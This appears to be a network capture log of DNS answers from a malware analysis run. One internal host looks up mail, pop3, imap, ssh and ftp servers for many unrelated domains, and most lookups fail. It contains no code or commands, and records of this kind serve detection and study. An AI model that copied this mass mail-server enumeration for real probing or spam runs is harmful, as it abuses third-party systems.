Dec 20, 2023 03:13:32.925205946 CET	1.1.1.1	192.168.2.4	0x569a	Name error (3)	ssh.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.931158066 CET	1.1.1.1	192.168.2.4	0x58b1	Name error (3)	imap.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.932446957 CET	1.1.1.1	192.168.2.4	0x50f	Name error (3)	pop3.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.933902025 CET	1.1.1.1	192.168.2.4	0xa746	Name error (3)	pop3.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.941335917 CET	1.1.1.1	192.168.2.4	0xa14a	Name error (3)	imap.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.950639009 CET	1.1.1.1	192.168.2.4	0x3c87	Name error (3)	ssh.a2b-internet.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.972706079 CET	1.1.1.1	192.168.2.4	0x8d8e	Name error (3)	ftp.plastikolor.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:32.987399101 CET	1.1.1.1	192.168.2.4	0x421a	Name error (3)	imap.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.032249928 CET	1.1.1.1	192.168.2.4	0xb4bf	Name error (3)	pop3.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.049643040 CET	1.1.1.1	192.168.2.4	0x366	Name error (3)	ssh.activegraphics.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.052635908 CET	1.1.1.1	192.168.2.4	0x1dd6	No error (0)	ssh.choctawcasino.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.067179918 CET	1.1.1.1	192.168.2.4	0xed26	Name error (3)	ssh.collinsgordonhenry.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.079243898 CET	1.1.1.1	192.168.2.4	0xa02b	Name error (3)	pop3.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.079786062 CET	1.1.1.1	192.168.2.4	0x4749	Name error (3)	imap.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.081393957 CET	1.1.1.1	192.168.2.4	0x591e	Name error (3)	pop3.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.095671892 CET	1.1.1.1	192.168.2.4	0xc2e4	Name error (3)	pop3.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.099253893 CET	1.1.1.1	192.168.2.4	0x86d1	Name error (3)	pop3.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.100349903 CET	1.1.1.1	192.168.2.4	0xdd51	Name error (3)	pop3.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.101408005 CET	1.1.1.1	192.168.2.4	0xe49d	Name error (3)	pop3.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.110085964 CET	1.1.1.1	192.168.2.4	0x2f3f	Name error (3)	pop3.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.111387968 CET	1.1.1.1	192.168.2.4	0x4f46	Name error (3)	pop3.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.111907005 CET	1.1.1.1	192.168.2.4	0x6aea	Name error (3)	pop3.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.112128019 CET	1.1.1.1	192.168.2.4	0xb602	Name error (3)	ssh.centurylaboratories.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.115571976 CET	1.1.1.1	192.168.2.4	0xbe72	Name error (3)	imap.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.126327038 CET	1.1.1.1	192.168.2.4	0x5000	Name error (3)	ssh.mobiamericas.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.144196987 CET	1.1.1.1	192.168.2.4	0xe4e6	Name error (3)	imap.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.174701929 CET	1.1.1.1	192.168.2.4	0x52c2	Name error (3)	imap.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.174973011 CET	1.1.1.1	192.168.2.4	0xd875	Name error (3)	ssh.ornos.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.180629015 CET	1.1.1.1	192.168.2.4	0x1030	Name error (3)	imap.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.202795029 CET	1.1.1.1	192.168.2.4	0x6d19	No error (0)	ssh.tiltdesign.com		205.178.187.24	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.205178022 CET	1.1.1.1	192.168.2.4	0xb6f	Name error (3)	pop3.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.233194113 CET	1.1.1.1	192.168.2.4	0x469c	Name error (3)	imap.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.233526945 CET	1.1.1.1	192.168.2.4	0xbf41	Name error (3)	imap.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.262968063 CET	1.1.1.1	192.168.2.4	0x4244	Name error (3)	ssh.ontariobluejays.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.265661955 CET	1.1.1.1	192.168.2.4	0x7a86	Name error (3)	imap.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.322165012 CET	1.1.1.1	192.168.2.4	0xc17	Name error (3)	pop3.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.377367020 CET	1.1.1.1	192.168.2.4	0x4122	Name error (3)	ftp.rehau.com.mk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.394895077 CET	1.1.1.1	192.168.2.4	0x8db4	No error (0)	ssh.directservbms.com		154.209.61.218	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.444025993 CET	1.1.1.1	192.168.2.4	0xc55e	Name error (3)	pop3.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.458767891 CET	1.1.1.1	192.168.2.4	0x899a	Name error (3)	pop3.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.460469007 CET	1.1.1.1	192.168.2.4	0xdd64	Name error (3)	pop3.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.500812054 CET	1.1.1.1	192.168.2.4	0x8b11	Name error (3)	imap.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.529479980 CET	1.1.1.1	192.168.2.4	0x2707	Name error (3)	pop3.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.573550940 CET	1.1.1.1	192.168.2.4	0x1518	Name error (3)	pop3.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.622076988 CET	1.1.1.1	192.168.2.4	0xec5a	Name error (3)	imap.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.626761913 CET	1.1.1.1	192.168.2.4	0x90d2	Name error (3)	imap.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.635190964 CET	1.1.1.1	192.168.2.4	0xaaaf	Name error (3)	pop3.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.645437002 CET	1.1.1.1	192.168.2.4	0x3f48	Name error (3)	imap.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.660919905 CET	1.1.1.1	192.168.2.4	0xe27f	Name error (3)	imap.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.678581953 CET	1.1.1.1	192.168.2.4	0x1e9a	Name error (3)	pop3.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.790263891 CET	1.1.1.1	192.168.2.4	0xd6a	Name error (3)	ssh.orangutech.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.845798969 CET	1.1.1.1	192.168.2.4	0x55e7	Name error (3)	imap.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.848288059 CET	1.1.1.1	192.168.2.4	0x2481	Name error (3)	imap.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.877851963 CET	1.1.1.1	192.168.2.4	0xdb59	Name error (3)	mail.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.895668983 CET	1.1.1.1	192.168.2.4	0xca54	Name error (3)	ssh.bookmyrace.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.909686089 CET	1.1.1.1	192.168.2.4	0x4e01	Name error (3)	mailgate.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.924432993 CET	1.1.1.1	192.168.2.4	0xaf45	Name error (3)	imap.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.925565004 CET	1.1.1.1	192.168.2.4	0x4e89	Name error (3)	imap.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.928020000 CET	1.1.1.1	192.168.2.4	0xc683	Name error (3)	imap.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.945117950 CET	1.1.1.1	192.168.2.4	0xbfd4	No error (0)	ssh.dako.netai.net		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.956435919 CET	1.1.1.1	192.168.2.4	0x8ea3	Name error (3)	imap.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:33.970421076 CET	1.1.1.1	192.168.2.4	0xaa2d	Name error (3)	imap.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.000988960 CET	1.1.1.1	192.168.2.4	0x70f8	Name error (3)	pop3.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.001780033 CET	1.1.1.1	192.168.2.4	0xdebc	Name error (3)	pop3.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.006320000 CET	1.1.1.1	192.168.2.4	0xfa6c	Name error (3)	pop3.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.006844997 CET	1.1.1.1	192.168.2.4	0x3839	Name error (3)	pop3.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.031006098 CET	1.1.1.1	192.168.2.4	0xc7b8	Name error (3)	pop3.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.060578108 CET	1.1.1.1	192.168.2.4	0x7647	Name error (3)	pop3.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.119410038 CET	1.1.1.1	192.168.2.4	0xd786	Name error (3)	pop3.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.126307011 CET	1.1.1.1	192.168.2.4	0x8097	Name error (3)	pop3.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.422478914 CET	1.1.1.1	192.168.2.4	0x96ab	Name error (3)	ssh.rehau.com.mk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.492124081 CET	1.1.1.1	192.168.2.4	0x691b	Name error (3)	pop3.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.554409981 CET	1.1.1.1	192.168.2.4	0xb440	Name error (3)	mailgate.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:34.593513012 CET	1.1.1.1	192.168.2.4	0x4ee8	No error (0)	ssh.sadowsky.webatu.com		153.92.0.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.008114100 CET	1.1.1.1	192.168.2.4	0x4ec7	Name error (3)	mailgate.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.008836985 CET	1.1.1.1	192.168.2.4	0x8d00	Name error (3)	mailgate.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.161726952 CET	1.1.1.1	192.168.2.4	0x1b6b	Name error (3)	pop3.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.261828899 CET	1.1.1.1	192.168.2.4	0xdd2a	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.261840105 CET	1.1.1.1	192.168.2.4	0xdd2a	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.261848927 CET	1.1.1.1	192.168.2.4	0xdd2a	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:35.262027025 CET	1.1.1.1	192.168.2.4	0xdd2a	Server failure (2)	mail.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.756978035 CET	1.1.1.1	192.168.2.4	0x13ea	Name error (3)	mail.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.787220001 CET	1.1.1.1	192.168.2.4	0x11c	Name error (3)	imap.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.796057940 CET	1.1.1.1	192.168.2.4	0xf146	Name error (3)	mail.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.797681093 CET	1.1.1.1	192.168.2.4	0x2d18	Name error (3)	imap.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.809490919 CET	1.1.1.1	192.168.2.4	0x700d	Name error (3)	mail.crayzrocker.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.809880972 CET	1.1.1.1	192.168.2.4	0x6c40	Name error (3)	mail.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.810669899 CET	1.1.1.1	192.168.2.4	0xbdfc	Name error (3)	mail.youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.810944080 CET	1.1.1.1	192.168.2.4	0x3292	Name error (3)	mailgate.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.811733961 CET	1.1.1.1	192.168.2.4	0xe200	Name error (3)	mail.ilovetechno.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.813163996 CET	1.1.1.1	192.168.2.4	0x2eed	Name error (3)	mail.clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.813452959 CET	1.1.1.1	192.168.2.4	0x8a4f	Name error (3)	mailgate.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.814109087 CET	1.1.1.1	192.168.2.4	0x7c8d	Name error (3)	mailgate.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.814358950 CET	1.1.1.1	192.168.2.4	0xcc56	Name error (3)	mailgate.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.814918995 CET	1.1.1.1	192.168.2.4	0x1d98	Name error (3)	mail.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.815009117 CET	1.1.1.1	192.168.2.4	0xf22b	Name error (3)	mail.vaoypo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.816210985 CET	1.1.1.1	192.168.2.4	0xabe1	Name error (3)	pop3.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.816476107 CET	1.1.1.1	192.168.2.4	0x5202	Name error (3)	imap.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.817418098 CET	1.1.1.1	192.168.2.4	0x4508	Name error (3)	mail.dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.818548918 CET	1.1.1.1	192.168.2.4	0x2fdb	Name error (3)	imap.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.829024076 CET	1.1.1.1	192.168.2.4	0x926b	Name error (3)	pop3.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.841578960 CET	1.1.1.1	192.168.2.4	0x87e9	Name error (3)	mailgate.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.842778921 CET	1.1.1.1	192.168.2.4	0x4fd6	Name error (3)	mailgate.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.844187021 CET	1.1.1.1	192.168.2.4	0xc620	Name error (3)	mail.9ef1e72a04361055.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.846004963 CET	1.1.1.1	192.168.2.4	0x4fc4	Name error (3)	mail.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.847011089 CET	1.1.1.1	192.168.2.4	0x1598	Name error (3)	mail.fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.848582983 CET	1.1.1.1	192.168.2.4	0x36e1	Name error (3)	mail.sgeg-usa.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.848711014 CET	1.1.1.1	192.168.2.4	0x23e7	Name error (3)	mailgate.ba02867e18351c89.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.849934101 CET	1.1.1.1	192.168.2.4	0xccb0	Name error (3)	mail.gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.850977898 CET	1.1.1.1	192.168.2.4	0xc09d	Name error (3)	pop3.yjroeown.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.856386900 CET	1.1.1.1	192.168.2.4	0x1cbb	Name error (3)	mail.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.856869936 CET	1.1.1.1	192.168.2.4	0xf25a	Name error (3)	mail.8d560e557e715856.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.857280016 CET	1.1.1.1	192.168.2.4	0x483	Name error (3)	mail.nationwide-claims.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.867314100 CET	1.1.1.1	192.168.2.4	0xf565	Name error (3)	mail.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.871032000 CET	1.1.1.1	192.168.2.4	0xb968	Name error (3)	mailgate.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.878894091 CET	1.1.1.1	192.168.2.4	0xe185	Name error (3)	mail.remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.886734009 CET	1.1.1.1	192.168.2.4	0x2f05	Name error (3)	mail.yjprwlto.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.894434929 CET	1.1.1.1	192.168.2.4	0x3b11	Name error (3)	mail.lum-gaming.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.895903111 CET	1.1.1.1	192.168.2.4	0x14cd	Name error (3)	mail.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.930957079 CET	1.1.1.1	192.168.2.4	0xa868	Name error (3)	mail.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.958558083 CET	1.1.1.1	192.168.2.4	0xe010	Name error (3)	mail.radiomaria.orgar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.973027945 CET	1.1.1.1	192.168.2.4	0x5be6	Name error (3)	mail.8f7940a0023aab5c.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:36.977628946 CET	1.1.1.1	192.168.2.4	0xedae	Name error (3)	mail.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.003801107 CET	1.1.1.1	192.168.2.4	0x1f9b	Name error (3)	mail.dekoracio.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.034239054 CET	1.1.1.1	192.168.2.4	0xe4e5	Name error (3)	mail.leuadxqqqn.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.040550947 CET	1.1.1.1	192.168.2.4	0xd3c5	Name error (3)	mail.zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.042825937 CET	1.1.1.1	192.168.2.4	0xbe4e	Name error (3)	mail.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.046464920 CET	1.1.1.1	192.168.2.4	0xbe3	Name error (3)	mail.cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.060708046 CET	1.1.1.1	192.168.2.4	0x2fe5	Name error (3)	mailgate.floridasun.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.064464092 CET	1.1.1.1	192.168.2.4	0x8b06	Name error (3)	mail.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.069166899 CET	1.1.1.1	192.168.2.4	0xcde9	Name error (3)	mail.alnajah.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.069216967 CET	1.1.1.1	192.168.2.4	0xd7fe	Name error (3)	mail.bsboil.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.081579924 CET	1.1.1.1	192.168.2.4	0xf653	Name error (3)	mail.dlirfo.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.092778921 CET	1.1.1.1	192.168.2.4	0x8579	Name error (3)	mail.nothingbutmiraclesphotography.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.094461918 CET	1.1.1.1	192.168.2.4	0x5a59	Name error (3)	mail.justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.112354040 CET	1.1.1.1	192.168.2.4	0xbb5f	Name error (3)	mail.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.114521027 CET	1.1.1.1	192.168.2.4	0xccc6	Name error (3)	mail.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.114579916 CET	1.1.1.1	192.168.2.4	0x250d	Name error (3)	mail.4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.140304089 CET	1.1.1.1	192.168.2.4	0x186b	No error (0)	mx2.emailsrvr.com		146.20.161.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.141060114 CET	1.1.1.1	192.168.2.4	0x2192	Name error (3)	mail.curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.155635118 CET	1.1.1.1	192.168.2.4	0xa12b	No error (0)	texasopendoor-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.155635118 CET	1.1.1.1	192.168.2.4	0xa12b	No error (0)	texasopendoor-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.157717943 CET	1.1.1.1	192.168.2.4	0xee8f	Name error (3)	mailgate.rmckenna.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.159859896 CET	1.1.1.1	192.168.2.4	0xe99f	No error (0)	nicsonsconcrete-com-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.159859896 CET	1.1.1.1	192.168.2.4	0xe99f	No error (0)	nicsonsconcrete-com-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.161542892 CET	1.1.1.1	192.168.2.4	0xe44	Name error (3)	mailgate.dm.famm.us	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.161567926 CET	1.1.1.1	192.168.2.4	0x3160	Name error (3)	mail.sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.180738926 CET	1.1.1.1	192.168.2.4	0x8535	Name error (3)	mailgate.churchofscientology.orguk	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.185192108 CET	1.1.1.1	192.168.2.4	0xfecd	Name error (3)	mailgate.jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.191114902 CET	1.1.1.1	192.168.2.4	0x329c	Name error (3)	mailgate.habbocentral.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.191626072 CET	1.1.1.1	192.168.2.4	0xf90	Name error (3)	mailgate.janicearies.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.192584038 CET	1.1.1.1	192.168.2.4	0x90d3	Name error (3)	mailgate.calebandersondesigns.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.192805052 CET	1.1.1.1	192.168.2.4	0x8005	Name error (3)	mailgate.shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.193499088 CET	1.1.1.1	192.168.2.4	0xe2e8	Name error (3)	mailgate.njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.194777012 CET	1.1.1.1	192.168.2.4	0xdc55	Name error (3)	mailgate.yokohamaichigoichie.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.197524071 CET	1.1.1.1	192.168.2.4	0x9887	Name error (3)	mailgate.x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.209719896 CET	1.1.1.1	192.168.2.4	0xcc40	Name error (3)	ftp.u90soccercenter.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.220024109 CET	1.1.1.1	192.168.2.4	0x9f00	Name error (3)	mailgate.a4f53bcfebc986c4.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.224941969 CET	1.1.1.1	192.168.2.4	0x3ffa	No error (0)	ontariobluejays-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.224941969 CET	1.1.1.1	192.168.2.4	0x3ffa	No error (0)	ontariobluejays-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.267934084 CET	1.1.1.1	192.168.2.4	0x7293	No error (0)	orangutech-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.267934084 CET	1.1.1.1	192.168.2.4	0x7293	No error (0)	orangutech-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.271929979 CET	1.1.1.1	192.168.2.4	0xf3d1	Server failure (2)	ftp.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.272011042 CET	1.1.1.1	192.168.2.4	0xf3d1	Server failure (2)	ftp.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.272123098 CET	1.1.1.1	192.168.2.4	0xf3d1	Server failure (2)	ftp.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.272252083 CET	1.1.1.1	192.168.2.4	0xf3d1	Server failure (2)	ftp.kingshit.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.274355888 CET	1.1.1.1	192.168.2.4	0x1e07	No error (0)	atelcommunications-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.274355888 CET	1.1.1.1	192.168.2.4	0x1e07	No error (0)	atelcommunications-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.277606964 CET	1.1.1.1	192.168.2.4	0xfec2	No error (0)	conalcorp-com.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:37.277606964 CET	1.1.1.1	192.168.2.4	0xfec2	No error (0)	conalcorp-com.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
